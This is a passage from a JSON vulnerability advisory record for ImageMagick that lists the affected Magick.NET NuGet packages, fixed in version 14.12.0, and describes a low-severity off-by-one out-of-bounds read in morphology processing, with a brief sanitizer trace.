          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-193"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:31:38Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "An incorrect morphology would allow an out of bounds read of a single pixel.\n\n```\n==1200284==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5100000002d0 at pc 0x59e28e60c27a bp 0x7fff047fd8e0 sp 0x7fff047fd8d0\nREAD of size 4 at 0x5100000002d0 thread T0\n```",
  "id": "GHSA-q8h3-jv9v-57qx",
  "modified": "2026-04-16T15:32:16Z",
  "published": "2026-04-14T23:31:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-q8h3-jv9v-57qx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick has has an off-by-one origin validation in allows out-of-bounds read in morphology processing"
}